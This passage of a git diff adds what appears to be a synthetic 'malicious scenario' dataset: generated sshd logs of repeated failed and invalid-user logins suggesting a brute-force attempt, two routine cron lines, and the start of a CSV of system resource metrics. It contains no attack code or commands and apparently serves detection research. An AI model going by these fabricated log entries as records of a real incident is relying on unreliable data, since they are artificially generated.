14:02:35 server sshd[29145]: Failed password for ubuntu from 103.207.38.45 port 25218 ssh2 +Aug 10 14:02:37 server sshd[22636]: Failed password for ubuntu from 172.16.72.65 port 50774 ssh2 +Aug 10 14:02:37 server sshd[26636]: Invalid user invaliduser242 from 172.16.22.73 port 30076 +Aug 10 14:02:37 server sshd[28076]: Failed password for admin from 172.16.22.73 port 27571 ssh2 +Aug 10 14:02:37 server sshd[29185]: Failed password for user from 172.16.101.154 port 11035 ssh2 +Aug 10 14:02:38 server sshd[21855]: Invalid user invaliduser314 from 103.207.38.45 port 12559 +Aug 10 14:02:38 server sshd[29038]: Failed password for support from 172.16.148.19 port 52686 ssh2 +Aug 10 14:02:40 server sshd[23081]: Invalid user invaliduser523 from 103.207.38.45 port 20032 +Aug 10 14:02:41 server sshd[22447]: Invalid user invaliduser867 from 172.16.148.19 port 16831 +Aug 10 14:02:41 server sshd[23412]: Failed password for support from 172.16.148.19 port 13454 ssh2 +Aug 10 14:02:41 server sshd[26959]: Failed password for guest from 172.16.101.154 port 45358 ssh2 +Aug 10 14:02:41 server sshd[27153]: Failed password for ec2-user from 172.16.148.19 port 25119 ssh2 +Aug 10 14:02:41 server sshd[28889]: Invalid user invaliduser891 from 172.16.22.73 port 58175 +Aug 10 14:02:41 server sshd[29224]: Invalid user invaliduser666 from 172.16.148.19 port 26117 +Aug 10 14:02:42 server sshd[24003]: Invalid user invaliduser774 from 172.16.14.1 port 26122 +Aug 10 14:02:43 server sshd[22356]: Failed password for root from 172.16.101.154 port 48400 ssh2 +Aug 10 14:02:43 server sshd[28612]: Invalid user invaliduser672 from 172.16.148.19 port 37572 +Aug 10 14:02:45 server sshd[22408]: Failed password for ubuntu from 172.16.101.154 port 37394 ssh2 +Aug 10 14:02:45 server sshd[23008]: Invalid user invaliduser561 from 172.16.101.154 port 44163 +Aug 10 14:02:45 server sshd[28958]: Failed password for admin from 172.16.101.154 port 29784 ssh2 +Aug 10 14:02:45 server sshd[29339]: Failed password for root from 172.16.22.73 port 15616 ssh2 +Aug 10 14:02:46 server sshd[21526]: Invalid user invaliduser942 from 172.16.72.65 port 50932 +Aug 10 14:02:47 server sshd[25950]: Invalid user invaliduser118 from 172.16.14.1 port 14278 +Aug 10 14:02:47 server sshd[28844]: Failed password for user from 172.16.22.73 port 47940 ssh2 +Aug 10 14:02:48 server sshd[27329]: Failed password for admin from 172.16.72.65 port 18321 ssh2 +Aug 10 14:02:48 server sshd[28582]: Failed password for ubuntu from 103.207.38.45 port 37835 ssh2 +Aug 10 14:02:50 server sshd[21115]: Failed password for ec2-user from 103.207.38.45 port 39076 ssh2 +Aug 10 14:02:51 server sshd[22370]: Invalid user invaliduser494 from 172.16.148.19 port 50315 +Aug 10 14:02:51 server sshd[23889]: Invalid user invaliduser964 from 172.16.22.73 port 20876 +Aug 10 14:02:52 server sshd[26415]: Invalid user invaliduser648 from 172.16.22.73 port 47703 +Aug 10 14:02:53 server sshd[21467]: Failed password for user from 172.16.72.65 port 58851 ssh2 +Aug 10 14:02:53 server sshd[23792]: Invalid user invaliduser154 from 172.16.22.73 port 32533 +Aug 10 14:02:53 server sshd[26321]: Failed password for root from 103.207.38.45 port 42236 ssh2 +Aug 10 14:02:53 server sshd[29136]: Failed password for support from 172.16.148.19 port 35739 ssh2 +Aug 10 14:02:53 server sshd[29464]: Invalid user invaliduser428 from 172.16.148.19 port 47351 +Aug 10 14:02:53 server sshd[29715]: Invalid user invaliduser725 from 172.16.148.19 port 10458 +Aug 10 14:02:55 server sshd[25373]: Invalid user invaliduser665 from 172.16.148.19 port 47230 +Aug 10 14:02:55 server sshd[28073]: Invalid user invaliduser321 from 172.16.14.1 port 36419 +Aug 10 14:02:57 server sshd[26092]: Failed password for test from 172.16.101.154 port 49219 ssh2 +Aug 10 14:02:57 server sshd[29218]: Failed password for user from 103.207.38.45 port 22456 ssh2 +Aug 10 14:02:58 server sshd[24600]: Failed password for guest from 172.16.72.65 port 30134 ssh2 +Aug 10 14:02:58 server sshd[25243]: Invalid user invaliduser414 from 103.207.38.45 port 20981 +Aug 10 14:03:00 server sshd[22509]: Failed password for ec2-user from 172.16.14.1 port 31544 ssh2 +Aug 10 14:03:00 server sshd[24666]: Invalid user invaliduser948 from 172.16.72.65 port 16533 +Aug 10 14:03:01 server sshd[23865]: Invalid user invaliduser168 from 172.16.22.73 port 17874 +Aug 10 14:03:02 server sshd[22904]: Failed password for support from 172.16.148.19 port 37318 ssh2 +Aug 10 14:03:03 server sshd[23928]: Invalid user invaliduser939 from 172.16.72.65 port 22837 +Aug 10 14:03:03 server sshd[26153]: Failed password for user from 172.16.101.154 port 45013 ssh2 +Aug 10 14:03:03 server sshd[28276]: Invalid user invaliduser516 from 103.207.38.45 port 47279 +Aug 10 14:03:06 server sshd[27329]: Invalid user invaliduser597 from 172.16.22.73 port 58412 +Aug 10 14:03:07 server sshd[23195]: Invalid user invaliduser866 from 172.16.22.73 port 21112 +Aug 10 14:03:07 server sshd[25877]: Failed password for support from 103.207.38.45 port 54615 ssh2 +Aug 10 14:03:07 server sshd[27416]: Failed password for ubuntu from 172.16.101.154 port 24874 ssh2 +Aug 10 14:03:08 server sshd[21951]: Invalid user invaliduser543 from 172.16.14.1 port 48024 +Aug 10 14:03:08 server sshd[23235]: Invalid user invaliduser270 from 172.16.72.65 port 29637 +Aug 10 14:03:10 server sshd[23510]: Failed password for root from 172.16.22.73 port 32567 ssh2 +Aug 10 14:03:11 server sshd[21307]: Invalid user invaliduser816 from 172.16.22.73 port 55668 +Aug 10 14:03:11 server sshd[21809]: Failed password for user from 172.16.22.73 port 12089 ssh2 +Aug 10 14:03:11 server sshd[28836]: Invalid user invaliduser838 from 103.207.38.45 port 58945 +Aug 10 14:03:12 server sshd[22245]: Invalid user invaliduser651 from 172.16.22.73 port 51336 +Aug 10 14:03:13 server sshd[22277]: Invalid user invaliduser581 from 172.16.22.73 port 53040 +Aug 10 14:03:13 server sshd[28405]: Invalid user invaliduser489 from 172.16.101.154 port 13215 +Aug 10 14:03:15 server sshd[26151]: Failed password for root from 172.16.14.1 port 41958 ssh2 +Aug 10 14:03:15 server sshd[27102]: Invalid user invaliduser442 from 172.16.72.65 port 24038 +Aug 10 14:03:15 server sshd[28616]: Failed password for test from 103.207.38.45 port 47689 ssh2 +Aug 10 14:03:16 server sshd[21686]: Invalid user invaliduser900 from 172.16.14.1 port 57127 +Aug 10 14:03:16 server sshd[29238]: Invalid user invaliduser284 from 172.16.14.1 port 29710 +Aug 10 14:03:17 server sshd[23639]: Invalid user invaliduser715 from 172.16.72.65 port 44753 +Aug 10 14:03:17 server sshd[27072]: Invalid user invaliduser772 from 172.16.14.1 port 33952 +Aug 10 14:03:17 server sshd[28459]: Invalid user invaliduser892 from 172.16.14.1 port 33504 +Aug 10 14:03:18 server sshd[25605]: Failed password for ec2-user from 172.16.14.1 port 34093 ssh2 +Aug 10 14:03:18 server sshd[28028]: Invalid user invaliduser745 from 172.16.148.19 port 53006 +Aug 10 14:03:20 server sshd[21904]: Failed password for user from 172.16.22.73 port 43629 ssh2 +Aug 10 14:03:20 server sshd[28481]: Invalid user invaliduser774 from 172.16.148.19 port 11471 +Aug 10 14:03:22 server sshd[24277]: Invalid user invaliduser627 from 172.16.14.1 port 52559 +Aug 10 14:03:23 server sshd[24060]: Failed password for ubuntu from 172.16.72.65 port 47914 ssh2 +Aug 10 14:03:23 server sshd[26614]: Failed password for guest from 103.207.38.45 port 11298 ssh2 +Aug 10 14:03:25 server sshd[22114]: Failed password for ubuntu from 172.16.101.154 port 59532 ssh2 +Aug 10 14:03:25 server sshd[23491]: Invalid user invaliduser349 from 172.16.148.19 port 40065 +Aug 10 14:03:25 server sshd[25953]: Failed password for user from 172.16.148.19 port 32910 ssh2 +Aug 10 14:03:25 server sshd[28740]: Failed password for guest from 172.16.72.65 port 13318 ssh2 +Aug 10 14:03:26 server sshd[28011]: Invalid user invaliduser674 from 172.16.22.73 port 45938 +Aug 10 14:03:27 server sshd[23717]: Failed password for ubuntu from 172.16.148.19 port 38117 ssh2 +Aug 10 14:03:27 server sshd[28773]: Invalid user invaliduser431 from 172.16.72.65 port 46659 +Aug 10 14:03:30 server sshd[23863]: Invalid user invaliduser425 from 172.16.14.1 port 40393 +Aug 10 14:03:30 server sshd[28080]: Failed password for ubuntu from 103.207.38.45 port 50269 ssh2 +Aug 10 14:03:31 server sshd[27695]: Failed password for ec2-user from 172.16.22.73 port 32111 ssh2 +Aug 10 14:03:32 server sshd[22112]: Failed password for root from 172.16.148.19 port 51893 ssh2 +Aug 10 14:03:32 server sshd[23478]: Failed password for ubuntu from 103.207.38.45 port 14697 ssh2 +Aug 10 14:03:32 server sshd[23904]: Invalid user invaliduser698 from 103.207.38.45 port 26362 +Aug 10 14:03:33 server sshd[28094]: Invalid user invaliduser234 from 172.16.148.19 port 11846 +Aug 10 14:03:35 server sshd[21356]: Invalid user invaliduser352 from 172.16.22.73 port 20365 +Aug 10 14:03:36 server sshd[23753]: Invalid user invaliduser196 from 172.16.22.73 port 41948 +Aug 10 14:03:36 server sshd[24820]: Invalid user invaliduser901 from 172.16.72.65 port 21120 +Aug 10 14:03:37 server sshd[25120]: Invalid user invaliduser766 from 172.16.14.1 port 47299 +Aug 10 14:03:38 server sshd[28876]: Failed password for admin from 103.207.38.45 port 15760 ssh2 +Aug 10 14:03:40 server sshd[23027]: Invalid user invaliduser184 from 172.16.101.154 port 58453 +Aug 10 14:03:40 server sshd[25401]: Failed password for ec2-user from 172.16.14.1 port 18161 ssh2 +Aug 10 14:03:40 server sshd[25438]: Invalid user invaliduser460 from 172.16.148.19 port 23932 +Aug 10 14:03:41 server sshd[23434]: Invalid user invaliduser443 from 172.16.14.1 port 31352 +Aug 10 14:03:41 server sshd[24591]: Invalid user invaliduser859 from 172.16.148.19 port 39607 +Aug 10 14:03:42 server sshd[27302]: Invalid user invaliduser488 from 172.16.22.73 port 30608 +Aug 10 14:03:43 server sshd[23412]: Invalid user invaliduser959 from 172.16.14.1 port 24598 +Aug 10 14:03:43 server sshd[27301]: Invalid user invaliduser546 from 172.16.14.1 port 58429 +Aug 10 14:03:45 server sshd[24861]: Failed password for support from 172.16.14.1 port 33657 ssh2 +Aug 10 14:03:45 server sshd[28821]: Failed password for user from 172.16.148.19 port 52750 ssh2 +Aug 10 14:03:45 server sshd[29833]: Invalid user invaliduser942 from 103.207.38.45 port 37936 +Aug 10 14:03:46 server sshd[27150]: Invalid user invaliduser228 from 172.16.148.19 port 58192 +Aug 10 14:03:46 server sshd[28545]: Failed password for test from 103.207.38.45 port 51412 ssh2 +Aug 10 14:03:48 server sshd[27082]: Invalid user invaliduser974 from 172.16.72.65 port 13780 +Aug 10 14:03:48 server sshd[28164]: Invalid user invaliduser859 from 172.16.72.65 port 55454 +Aug 10 14:03:50 server sshd[23031]: Invalid user invaliduser485 from 172.16.148.19 port 52572 +Aug 10 14:03:50 server sshd[29034]: Failed password for ec2-user from 172.16.101.154 port 31734 ssh2 +Aug 10 14:03:51 server sshd[21304]: Invalid user invaliduser331 from 172.16.148.19 port 13807 +Aug 10 14:03:51 server sshd[21791]: Invalid user invaliduser720 from 172.16.22.73 port 24974 +Aug 10 14:03:51 server sshd[23129]: Failed password for guest from 172.16.101.154 port 15176 ssh2 +Aug 10 14:03:52 server sshd[24649]: Failed password for user from 103.207.38.45 port 43654 ssh2 +Aug 10 14:03:52 server sshd[27226]: Invalid user invaliduser452 from 172.16.148.19 port 37684 +Aug 10 14:03:53 server sshd[25499]: Failed password for ec2-user from 172.16.22.73 port 47775 ssh2 +Aug 10 14:03:53 server sshd[27029]: Failed password for ec2-user from 172.16.14.1 port 37724 ssh2 +Aug 10 14:03:53 server sshd[28929]: Invalid user invaliduser755 from 172.16.72.65 port 33958 +Aug 10 14:03:55 server sshd[21614]: Failed password for ubuntu from 172.16.14.1 port 38150 ssh2 +Aug 10 14:03:55 server sshd[25762]: Invalid user invaliduser807 from 172.16.101.154 port 20360 +Aug 10 14:03:55 server sshd[28504]: Failed password for root from 172.16.14.1 port 30553 ssh2 +Aug 10 14:03:56 server sshd[27195]: Invalid user invaliduser766 from 172.16.101.154 port 31759 +Aug 10 14:03:57 server sshd[24817]: Failed password for ec2-user from 172.16.14.1 port 57516 ssh2 +Aug 10 14:03:57 server sshd[26735]: Failed password for ec2-user from 172.16.101.154 port 46874 ssh2 +Aug 10 14:03:57 server sshd[29042]: Failed password for ubuntu from 172.16.22.73 port 50507 ssh2 +Aug 10 14:03:58 server sshd[24214]: Invalid user invaliduser668 from 172.16.101.154 port 32040 +Aug 10 14:04:00 server sshd[25792]: Invalid user invaliduser912 from 172.16.101.154 port 42491 +Aug 10 14:04:01 server sshd[23458]: Invalid user invaliduser707 from 172.16.101.154 port 16372 +Aug 10 14:04:01 server sshd[27918]: Invalid user invaliduser931 from 172.16.101.154 port 29913 +Aug 10 14:04:01 server sshd[29465]: Failed password for user from 172.16.22.73 port 13413 ssh2 +Aug 10 14:04:02 server sshd[22986]: Failed password for guest from 103.207.38.45 port 56814 ssh2 +Aug 10 14:04:03 server sshd[24601]: Invalid user invaliduser969 from 172.16.148.19 port 43803 +Aug 10 14:04:03 server sshd[27974]: Invalid user invaliduser850 from 103.207.38.45 port 51967 +Aug 10 14:04:05 server sshd[24239]: Invalid user invaliduser227 from 172.16.72.65 port 19443 +Aug 10 14:04:06 server sshd[22737]: Failed password for admin from 172.16.148.19 port 53318 ssh2 +Aug 10 14:04:06 server sshd[28711]: Invalid user invaliduser198 from 172.16.148.19 port 12229 +Aug 10 14:04:07 server sshd[23182]: Invalid user invaliduser993 from 172.16.148.19 port 47731 +Aug 10 14:04:07 server sshd[23607]: Failed password for ubuntu from 172.16.148.19 port 26494 ssh2 +Aug 10 14:04:07 server sshd[28279]: Invalid user invaliduser253 from 172.16.14.1 port 30877 +Aug 10 14:04:07 server sshd[28354]: Failed password for user from 172.16.101.154 port 42575 ssh2 +Aug 10 14:04:07 server sshd[29953]: Invalid user invaliduser816 from 172.16.148.19 port 58847 +Aug 10 14:04:08 server sshd[22131]: Invalid user invaliduser482 from 172.16.72.65 port 56518 +Aug 10 14:04:10 server sshd[21280]: Invalid user invaliduser286 from 172.16.148.19 port 54687 +Aug 10 14:04:10 server sshd[22227]: Failed password for admin from 172.16.22.73 port 19719 ssh2 +Aug 10 14:04:10 server sshd[22442]: Invalid user invaliduser753 from 172.16.72.65 port 54308 +Aug 10 14:04:10 server sshd[26143]: Invalid user invaliduser285 from 172.16.72.65 port 17037 +Aug 10 14:04:12 server sshd[27511]: Failed password for ubuntu from 172.16.14.1 port 44704 ssh2 +Aug 10 14:04:12 server sshd[29773]: Invalid user invaliduser968 from 172.16.72.65 port 43284 +Aug 10 14:04:12 server sshd[29927]: Failed password for admin from 172.16.101.154 port 51790 ssh2 +Aug 10 14:04:13 server sshd[22495]: Failed password for ec2-user from 172.16.22.73 port 43486 ssh2 +Aug 10 14:04:13 server sshd[27173]: Failed password for user from 103.207.38.45 port 49757 ssh2 +Aug 10 14:04:15 server sshd[23791]: Invalid user invaliduser873 from 172.16.101.154 port 49059 +Aug 10 14:04:15 server sshd[29220]: Failed password for user from 103.207.38.45 port 43062 ssh2 +Aug 10 14:04:16 server sshd[25426]: Invalid user invaliduser870 from 172.16.101.154 port 26449 +Aug 10 14:04:17 server sshd[24873]: Failed password for ubuntu from 172.16.22.73 port 54756 ssh2 +Aug 10 14:04:17 server sshd[29048]: Invalid user invaliduser588 from 172.16.22.73 port 14326 +Aug 10 14:04:20 server sshd[22111]: Invalid user invaliduser801 from 172.16.148.19 port 39660 +Aug 10 14:04:20 server sshd[22479]: Invalid user invaliduser146 from 103.207.38.45 port 22547 +Aug 10 14:04:20 server sshd[25175]: Failed password for guest from 172.16.22.73 port 54719 ssh2 +Aug 10 14:04:20 server sshd[27181]: Failed password for support from 172.16.14.1 port 17608 ssh2 +Aug 10 14:04:21 server sshd[21029]: Invalid user invaliduser909 from 172.16.148.19 port 48760 +Aug 10 14:04:22 server sshd[24139]: Invalid user invaliduser969 from 172.16.148.19 port 49893 +Aug 10 14:04:23 server sshd[24121]: Invalid user invaliduser119 from 172.16.22.73 port 11136 +Aug 10 14:04:23 server sshd[26080]: Invalid user invaliduser790 from 172.16.22.73 port 30888 +Aug 10 14:04:23 server sshd[28813]: Failed password for root from 172.16.101.154 port 34040 ssh2 +Aug 10 14:04:25 server sshd[27995]: Invalid user invaliduser204 from 172.16.14.1 port 34652 +Aug 10 14:04:26 server sshd[22492]: Failed password for user from 172.16.101.154 port 44853 ssh2 +Aug 10 14:04:26 server sshd[24900]: Invalid user invaliduser453 from 172.16.22.73 port 43279 +Aug 10 14:04:26 server sshd[25156]: Failed password for support from 172.16.148.19 port 18763 ssh2 +Aug 10 14:04:26 server sshd[28025]: Invalid user invaliduser280 from 172.16.148.19 port 33852 +Aug 10 14:04:26 server sshd[28898]: Invalid user invaliduser264 from 172.16.148.19 port 45852 +Aug 10 14:04:27 server sshd[23617]: Failed password for guest from 172.16.148.19 port 42399 ssh2 +Aug 10 14:04:27 server sshd[26127]: Failed password for user from 172.16.101.154 port 18301 ssh2 +Aug 10 14:04:30 server sshd[22698]: Failed password for ec2-user from 172.16.72.65 port 34931 ssh2 +Aug 10 14:04:30 server sshd[25086]: Invalid user invaliduser761 from 172.16.72.65 port 49469 +Aug 10 14:04:31 server sshd[24608]: Invalid user invaliduser167 from 103.207.38.45 port 22377 +Aug 10 14:04:31 server sshd[25762]: Failed password for user from 172.16.101.154 port 19215 ssh2 +Aug 10 14:04:33 server sshd[22800]: Failed password for ubuntu from 172.16.101.154 port 44255 ssh2 +Aug 10 14:04:33 server sshd[25864]: Invalid user invaliduser989 from 172.16.22.73 port 39271 +Aug 10 14:04:33 server sshd[29347]: Failed password for guest from 103.207.38.45 port 41819 ssh2 +Aug 10 14:04:35 server sshd[24248]: Failed password for ubuntu from 103.207.38.45 port 29459 ssh2 +Aug 10 14:04:35 server sshd[28843]: Invalid user invaliduser691 from 103.207.38.45 port 54555 +Aug 10 14:04:36 server sshd[24919]: Invalid user invaliduser151 from 172.16.148.19 port 22996 +Aug 10 14:04:37 server sshd[21692]: Invalid user invaliduser287 from 172.16.72.65 port 41004 +Aug 10 14:04:37 server sshd[23307]: Failed password for user from 172.16.72.65 port 36721 ssh2 +Aug 10 14:04:37 server sshd[23567]: Failed password for admin from 103.207.38.45 port 57721 ssh2 +Aug 10 14:04:37 server sshd[27646]: Invalid user invaliduser810 from 103.207.38.45 port 16117 +Aug 10 14:04:38 server sshd[21530]: Failed password for ubuntu from 103.207.38.45 port 27601 ssh2 +Aug 10 14:04:38 server sshd[26025]: Failed password for user from 172.16.22.73 port 25437 ssh2 +Aug 10 14:04:38 server sshd[29589]: Invalid user invaliduser999 from 172.16.14.1 port 21056 +Aug 10 14:04:40 server sshd[24276]: Invalid user invaliduser132 from 172.16.14.1 port 11559 +Aug 10 14:04:41 server sshd[21668]: Failed password for ubuntu from 172.16.72.65 port 25997 ssh2 +Aug 10 14:04:41 server sshd[23292]: Failed password for admin from 172.16.14.1 port 53973 ssh2 +Aug 10 14:04:42 server sshd[22135]: Invalid user invaliduser363 from 172.16.72.65 port 36882 +Aug 10 14:04:42 server sshd[23918]: Invalid user invaliduser609 from 172.16.22.73 port 58924 +Aug 10 14:04:42 server sshd[24925]: Failed password for root from 172.16.101.154 port 57822 ssh2 +Aug 10 14:04:43 server sshd[23983]: Failed password for guest from 172.16.72.65 port 27745 ssh2 +Aug 10 14:04:43 server sshd[27106]: Failed password for test from 172.16.22.73 port 50166 ssh2 +Aug 10 14:04:43 server sshd[28991]: Invalid user invaliduser549 from 103.207.38.45 port 38940 +Aug 10 14:04:45 server sshd[25711]: Invalid user invaliduser457 from 172.16.22.73 port 27926 +Aug 10 14:04:46 server sshd[22210]: Invalid user invaliduser750 from 172.16.14.1 port 11510 +Aug 10 14:04:48 server sshd[24165]: Failed password for admin from 103.207.38.45 port 14104 ssh2 +Aug 10 14:04:48 server sshd[26302]: Failed password for support from 172.16.72.65 port 16001 ssh2 +Aug 10 14:04:48 server sshd[28188]: Invalid user invaliduser892 from 172.16.14.1 port 28460 +Aug 10 14:04:50 server sshd[27135]: Invalid user invaliduser625 from 172.16.22.73 port 14327 +Aug 10 14:04:51 server sshd[23038]: Invalid user invaliduser949 from 172.16.14.1 port 53260 +Aug 10 14:04:51 server sshd[27813]: Invalid user invaliduser863 from 172.16.148.19 port 39173 +Aug 10 14:04:52 server sshd[22108]: Failed password for ubuntu from 172.16.101.154 port 38517 ssh2 +Aug 10 14:04:53 server sshd[25650]: Failed password for guest from 172.16.148.19 port 14715 ssh2 +Aug 10 14:04:53 server sshd[26537]: Failed password for user from 172.16.148.19 port 32203 ssh2 +Aug 10 14:04:55 server sshd[22263]: Invalid user invaliduser687 from 103.207.38.45 port 25261 +Aug 10 14:04:55 server sshd[28507]: Failed password for admin from 172.16.22.73 port 16199 ssh2 +Aug 10 14:04:56 server sshd[21110]: Failed password for test from 172.16.72.65 port 40166 ssh2 +Aug 10 14:04:57 server sshd[21551]: Invalid user invaliduser750 from 172.16.101.154 port 16303 +Aug 10 14:04:57 server sshd[22332]: Invalid user invaliduser314 from 172.16.14.1 port 37768 +Aug 10 14:04:58 server sshd[22500]: Invalid user invaliduser151 from 103.207.38.45 port 30035 +Aug 10 14:04:58 server sshd[23129]: Failed password for root from 172.16.148.19 port 14188 ssh2 +Aug 10 14:04:58 server sshd[25825]: Failed password for user from 172.16.22.73 port 36844 ssh2 +Aug 10 14:05:00 server sshd[26037]: Failed password for ubuntu from 172.16.14.1 port 28287 ssh2 +Aug 10 14:05:01 server sshd[23907]: Invalid user invaliduser613 from 172.16.72.65 port 23702 +Aug 10 14:05:01 server sshd[26873]: Invalid user invaliduser189 from 172.16.72.65 port 37963 +Aug 10 14:05:01 server sshd[29487]: Invalid user invaliduser543 from 172.16.14.1 port 32250 +Aug 10 14:05:02 server sshd[24360]: Failed password for guest from 172.16.14.1 port 32144 ssh2 +Aug 10 14:05:02 server sshd[28766]: Invalid user invaliduser584 from 172.16.72.65 port 33691 +Aug 10 14:05:05 server sshd[23171]: Invalid user invaliduser255 from 172.16.148.19 port 35518 +Aug 10 14:05:05 server sshd[24111]: Invalid user invaliduser778 from 172.16.101.154 port 10937 +Aug 10 14:05:06 server sshd[23906]: Invalid user invaliduser696 from 172.16.72.65 port 38414 +Aug 10 14:05:07 server sshd[22296]: Invalid user invaliduser284 from 172.16.101.154 port 26760 +Aug 10 14:05:08 server sshd[21129]: Invalid user invaliduser365 from 172.16.148.19 port 37373 +Aug 10 14:05:08 server sshd[23553]: Failed password for admin from 172.16.22.73 port 30966 ssh2 +Aug 10 14:05:08 server sshd[23758]: Invalid user invaliduser300 from 172.16.148.19 port 30966 +Aug 10 14:05:08 server sshd[24043]: Failed password for admin from 103.207.38.45 port 10673 ssh2 +Aug 10 14:05:08 server sshd[24162]: Invalid user invaliduser330 from 172.16.148.19 port 32943 +Aug 10 14:05:08 server sshd[25369]: Failed password for guest from 172.16.22.73 port 50056 ssh2 +Aug 10 14:05:10 server sshd[24462]: Invalid user invaliduser636 from 172.16.148.19 port 21019 +Aug 10 14:05:10 server sshd[24951]: Failed password for guest from 172.16.148.19 port 37734 ssh2 +Aug 10 14:05:12 server sshd[21434]: Failed password for ec2-user from 172.16.14.1 port 24323 ssh2 +Aug 10 14:05:12 server sshd[29336]: Invalid user invaliduser169 from 172.16.148.19 port 27886 +Aug 10 14:05:13 server sshd[21420]: Failed password for ubuntu from 172.16.101.154 port 36387 ssh2 +Aug 10 14:05:13 server sshd[26901]: Failed password for ec2-user from 172.16.72.65 port 37489 ssh2 +Aug 10 14:05:13 server sshd[27194]: Failed password for test from 172.16.148.19 port 39923 ssh2 +Aug 10 14:05:13 server sshd[27306]: Failed password for guest from 103.207.38.45 port 25464 ssh2 +Aug 10 14:05:15 server sshd[23583]: Failed password for guest from 172.16.101.154 port 54984 ssh2 +Aug 10 14:05:15 server sshd[29147]: Invalid user invaliduser319 from 172.16.101.154 port 41625 +Aug 10 14:05:16 server sshd[22160]: Invalid user invaliduser634 from 172.16.14.1 port 49074 +Aug 10 14:05:16 server sshd[26192]: Failed password for admin from 172.16.22.73 port 39101 ssh2 +Aug 10 14:05:16 server sshd[29227]: Invalid user invaliduser405 from 172.16.72.65 port 15393 +Aug 10 14:05:17 server sshd[24146]: Failed password for user from 172.16.14.1 port 42938 ssh2 +Aug 10 14:05:18 server sshd[22679]: Invalid user invaliduser829 from 103.207.38.45 port 12840 +Aug 10 14:05:18 server sshd[24043]: Invalid user invaliduser343 from 172.16.14.1 port 34957 +Aug 10 14:05:21 server sshd[29518]: Failed password for ec2-user from 172.16.148.19 port 59494 ssh2 +Aug 10 14:05:22 server sshd[23145]: Invalid user invaliduser123 from 172.16.14.1 port 23949 +Aug 10 14:05:23 server sshd[24501]: Failed password for ec2-user from 172.16.22.73 port 15573 ssh2 +Aug 10 14:05:23 server sshd[26518]: Failed password for admin from 172.16.101.154 port 10559 ssh2 +Aug 10 14:05:23 server sshd[27926]: Invalid user invaliduser723 from 172.16.72.65 port 13090 +Aug 10 14:05:23 server sshd[29348]: Failed password for ec2-user from 172.16.148.19 port 23232 ssh2 +Aug 10 14:05:25 server sshd[23086]: Invalid user invaliduser828 from 103.207.38.45 port 16390 +Aug 10 14:05:25 server sshd[28548]: Invalid user invaliduser117 from 172.16.22.73 port 14368 +Aug 10 14:05:26 server sshd[27423]: Failed password for root from 172.16.14.1 port 41484 ssh2 +Aug 10 14:05:27 server sshd[23584]: Failed password for user from 172.16.14.1 port 35610 ssh2 +Aug 10 14:05:27 server sshd[23855]: Invalid user invaliduser207 from 172.16.72.65 port 15065 +Aug 10 14:05:27 server sshd[28160]: Failed password for support from 172.16.22.73 port 37494 ssh2 +Aug 10 14:05:27 server sshd[29612]: Failed password for ubuntu from 172.16.148.19 port 35758 ssh2 +Aug 10 14:05:28 server sshd[21300]: Failed password for ec2-user from 172.16.148.19 port 28619 ssh2 +Aug 10 14:05:28 server sshd[28373]: Failed password for admin from 172.16.72.65 port 16853 ssh2 +Aug 10 14:05:28 server sshd[28396]: Failed password for test from 172.16.101.154 port 16200 ssh2 +Aug 10 14:05:30 server sshd[27489]: Failed password for ec2-user from 103.207.38.45 port 50526 ssh2 +Aug 10 14:05:33 server sshd[24900]: Invalid user invaliduser785 from 172.16.148.19 port 22453 +Aug 10 14:05:33 server sshd[27060]: Failed password for ubuntu from 172.16.148.19 port 38799 ssh2 +Aug 10 14:05:33 server sshd[28547]: Invalid user invaliduser213 from 172.16.22.73 port 43792 +Aug 10 14:05:33 server sshd[29144]: Failed password for test from 172.16.72.65 port 18406 ssh2 +Aug 10 14:05:36 server sshd[21811]: Invalid user invaliduser442 from 172.16.148.19 port 58920 +Aug 10 14:05:36 server sshd[24708]: Failed password for support from 172.16.14.1 port 10899 ssh2 +Aug 10 14:05:36 server sshd[26225]: Invalid user invaliduser283 from 103.207.38.45 port 16603 +Aug 10 14:05:36 server sshd[26832]: Invalid user invaliduser807 from 172.16.22.73 port 54591 +Aug 10 14:05:37 server sshd[27866]: Invalid user invaliduser944 from 172.16.148.19 port 50565 +Aug 10 14:05:37 server sshd[29999]: Failed password for support from 172.16.101.154 port 10628 ssh2 +Aug 10 14:05:38 server sshd[21892]: Invalid user invaliduser970 from 172.16.148.19 port 16815 +Aug 10 14:05:38 server sshd[25530]: Invalid user invaliduser146 from 172.16.101.154 port 46184 +Aug 10 14:05:40 server sshd[29215]: Invalid user invaliduser105 from 103.207.38.45 port 38673 +Aug 10 14:05:40 server sshd[29376]: Invalid user invaliduser740 from 103.207.38.45 port 44093 +Aug 10 14:05:41 server sshd[21279]: Failed password for ec2-user from 172.16.22.73 port 57497 ssh2 +Aug 10 14:05:41 server sshd[21296]: Failed password for support from 172.16.22.73 port 46315 ssh2 +Aug 10 14:05:41 server sshd[24400]: Invalid user invaliduser791 from 103.207.38.45 port 33732 +Aug 10 14:05:42 server sshd[24584]: Invalid user invaliduser811 from 172.16.22.73 port 29802 +Aug 10 14:05:43 server sshd[22641]: Invalid user invaliduser993 from 172.16.14.1 port 25865 +Aug 10 14:05:43 server sshd[24792]: Invalid user invaliduser688 from 172.16.101.154 port 37228 +Aug 10 14:05:46 server sshd[26806]: Failed password for guest from 172.16.14.1 port 10729 ssh2 +Aug 10 14:05:47 server sshd[22302]: Invalid user invaliduser164 from 172.16.72.65 port 22521 +Aug 10 14:05:48 server sshd[24557]: Failed password for guest from 103.207.38.45 port 31537 ssh2 +Aug 10 14:05:48 server sshd[25097]: Invalid user invaliduser419 from 172.16.22.73 port 29212 +Aug 10 14:05:48 server sshd[27114]: Invalid user invaliduser738 from 172.16.14.1 port 29467 +Aug 10 14:05:50 server CRON[17631]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 10 14:06:40 server CRON[16670]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_7/mali_7_17.csv b/mali_dataset/scenario_7/mali_7_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..3a0f2cc19bb63c4454bfcca5c068acb5761f069b --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,14.81,42.71,28.42,1.11,0.92 +2025-08-15T10:00:05Z,18.1,41.35,28.89,1.33,0.73 +2025-08-15T10:00:10Z,16.5,41.87,32.67,1.24,1.04 +2025-08-15T10:00:15Z,12.94,43.66,29.18,0.85,1.25 +2025-08-15T10:00:20Z,16.05,41.34,32.43,0.88,1.19 